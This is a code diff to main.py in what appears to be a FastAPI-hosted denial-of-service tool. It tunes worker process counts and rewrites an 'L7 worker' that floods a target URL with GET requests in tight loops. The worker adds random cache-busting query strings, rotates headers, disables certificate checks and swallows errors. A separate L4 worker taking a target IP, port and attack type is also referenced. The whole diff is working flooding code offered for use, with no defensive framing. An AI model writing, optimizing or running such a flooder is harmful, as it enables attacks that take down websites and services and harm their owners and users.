Update main.py
Browse files
main.py
CHANGED
|
@@ -35,24 +35,23 @@ app = FastAPI(
|
|
| 35 |
CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 36 |
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
|
| 37 |
|
| 38 |
-
#
|
| 39 |
-
#
|
| 40 |
if CPU_COUNT >= 32:
|
| 41 |
-
# High-core systems (32-64+ cores)
|
| 42 |
-
MAX_PROCESSES = min(CPU_COUNT
|
| 43 |
-
MAX_CONCURRENCY_PER_PROCESS =
|
| 44 |
elif CPU_COUNT >= 16:
|
| 45 |
-
MAX_PROCESSES = CPU_COUNT *
|
| 46 |
-
MAX_CONCURRENCY_PER_PROCESS =
|
| 47 |
elif CPU_COUNT >= 8:
|
| 48 |
-
#
|
| 49 |
-
MAX_PROCESSES = CPU_COUNT * 12 # 96 processes
|
| 50 |
MAX_CONCURRENCY_PER_PROCESS = 512
|
| 51 |
else:
|
| 52 |
-
MAX_PROCESSES = CPU_COUNT *
|
| 53 |
MAX_CONCURRENCY_PER_PROCESS = 256
|
| 54 |
|
| 55 |
-
STATS_BATCH_UPDATE_SIZE =
|
| 56 |
TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
|
| 57 |
|
| 58 |
# --- L7 Enhanced Headers Pool ---
|
|
@@ -247,61 +246,57 @@ def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type,
|
|
| 247 |
# OPTIMIZED L7 WORKER PROCESS
|
| 248 |
# ====================================================================================
|
| 249 |
async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
|
| 250 |
-
"""
|
| 251 |
ssl_context = ssl.create_default_context()
|
| 252 |
ssl_context.check_hostname = False
|
| 253 |
ssl_context.verify_mode = ssl.CERT_NONE
|
| 254 |
|
| 255 |
-
# Optimized connector
|
| 256 |
connector = aiohttp.TCPConnector(
|
| 257 |
-
limit=
|
| 258 |
-
limit_per_host=
|
| 259 |
ttl_dns_cache=300,
|
| 260 |
-
force_close=False,
|
| 261 |
-
enable_cleanup_closed=False,
|
| 262 |
-
keepalive_timeout=
|
| 263 |
)
|
| 264 |
|
| 265 |
-
#
|
| 266 |
-
timeout = aiohttp.ClientTimeout(total=
|
| 267 |
|
| 268 |
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
| 269 |
async def task_worker(worker_id):
|
| 270 |
-
"""
|
| 271 |
local_counter = 0
|
| 272 |
|
| 273 |
while not stop_event.is_set():
|
| 274 |
try:
|
| 275 |
-
#
|
| 276 |
-
|
| 277 |
-
|
| 278 |
-
# Fire and forget - don't wait for response body
|
| 279 |
-
async with session.request(
|
| 280 |
-
method.upper(),
|
| 281 |
-
f"{url}{cache_buster}",
|
| 282 |
headers=get_random_headers(),
|
| 283 |
-
allow_redirects=False
|
| 284 |
-
|
| 285 |
-
|
| 286 |
-
|
| 287 |
-
|
| 288 |
-
|
| 289 |
except:
|
| 290 |
-
#
|
| 291 |
pass
|
| 292 |
-
|
| 293 |
-
|
| 294 |
-
|
| 295 |
-
|
| 296 |
-
|
| 297 |
-
|
| 298 |
|
| 299 |
# Final update
|
| 300 |
if local_counter > 0:
|
| 301 |
with shared_counter.get_lock():
|
| 302 |
shared_counter.value += local_counter
|
| 303 |
|
| 304 |
-
# Launch
|
| 305 |
tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
|
| 306 |
await asyncio.gather(*tasks, return_exceptions=True)
|
| 307 |
|
|
|
|
| 35 |
CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 36 |
TOTAL_RAM_GB = psutil.virtual_memory().total / (1024 ** 3)
|
| 37 |
|
| 38 |
+
# BALANCED configuration for sustained performance
|
| 39 |
+
# Sweet spot: fewer workers that actually work vs many workers that block each other
|
| 40 |
if CPU_COUNT >= 32:
|
| 41 |
+
# High-core systems (32-64+ cores) - REDUCED for efficiency
|
| 42 |
+
MAX_PROCESSES = min(CPU_COUNT, 128) # Max 128 processes
|
| 43 |
+
MAX_CONCURRENCY_PER_PROCESS = 128 # Lower concurrency
|
| 44 |
elif CPU_COUNT >= 16:
|
| 45 |
+
MAX_PROCESSES = CPU_COUNT * 2
|
| 46 |
+
MAX_CONCURRENCY_PER_PROCESS = 256
|
| 47 |
elif CPU_COUNT >= 8:
|
| 48 |
+
MAX_PROCESSES = CPU_COUNT * 4 # 32 processes for 8 cores
|
|
|
|
| 49 |
MAX_CONCURRENCY_PER_PROCESS = 512
|
| 50 |
else:
|
| 51 |
+
MAX_PROCESSES = CPU_COUNT * 4
|
| 52 |
MAX_CONCURRENCY_PER_PROCESS = 256
|
| 53 |
|
| 54 |
+
STATS_BATCH_UPDATE_SIZE = 100 # Smaller batches for accurate real-time counting
|
| 55 |
TOTAL_WORKERS = MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
|
| 56 |
|
| 57 |
# --- L7 Enhanced Headers Pool ---
|
|
|
|
| 246 |
# OPTIMIZED L7 WORKER PROCESS
|
| 247 |
# ====================================================================================
|
| 248 |
async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
|
| 249 |
+
"""High-performance L7 worker optimized for maximum sustained RPS."""
|
| 250 |
ssl_context = ssl.create_default_context()
|
| 251 |
ssl_context.check_hostname = False
|
| 252 |
ssl_context.verify_mode = ssl.CERT_NONE
|
| 253 |
|
| 254 |
+
# Optimized connector with realistic limits
|
| 255 |
connector = aiohttp.TCPConnector(
|
| 256 |
+
limit=concurrency, # Match concurrency
|
| 257 |
+
limit_per_host=concurrency,
|
| 258 |
ttl_dns_cache=300,
|
| 259 |
+
force_close=False,
|
| 260 |
+
enable_cleanup_closed=False,
|
| 261 |
+
keepalive_timeout=120
|
| 262 |
)
|
| 263 |
|
| 264 |
+
# Fast timeouts
|
| 265 |
+
timeout = aiohttp.ClientTimeout(total=3, connect=1, sock_read=2)
|
| 266 |
|
| 267 |
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
| 268 |
async def task_worker(worker_id):
|
| 269 |
+
"""Sends requests in tight loop."""
|
| 270 |
local_counter = 0
|
| 271 |
|
| 272 |
while not stop_event.is_set():
|
| 273 |
try:
|
| 274 |
+
# Minimal overhead request
|
| 275 |
+
async with session.get(
|
| 276 |
+
f"{url}?{worker_id}{random.randint(1, 9999)}",
|
|
|
|
|
|
|
|
|
|
|
|
|
| 277 |
headers=get_random_headers(),
|
| 278 |
+
allow_redirects=False,
|
| 279 |
+
timeout=timeout
|
| 280 |
+
) as resp:
|
| 281 |
+
# Just get status, don't read body
|
| 282 |
+
_ = resp.status
|
| 283 |
+
local_counter += 1
|
| 284 |
except:
|
| 285 |
+
# Errors don't slow us down
|
| 286 |
pass
|
| 287 |
+
|
| 288 |
+
# Update counter in batches
|
| 289 |
+
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 290 |
+
with shared_counter.get_lock():
|
| 291 |
+
shared_counter.value += local_counter
|
| 292 |
+
local_counter = 0
|
| 293 |
|
| 294 |
# Final update
|
| 295 |
if local_counter > 0:
|
| 296 |
with shared_counter.get_lock():
|
| 297 |
shared_counter.value += local_counter
|
| 298 |
|
| 299 |
+
# Launch tasks
|
| 300 |
tasks = [asyncio.create_task(task_worker(i)) for i in range(concurrency)]
|
| 301 |
await asyncio.gather(*tasks, return_exceptions=True)
|
| 302 |
|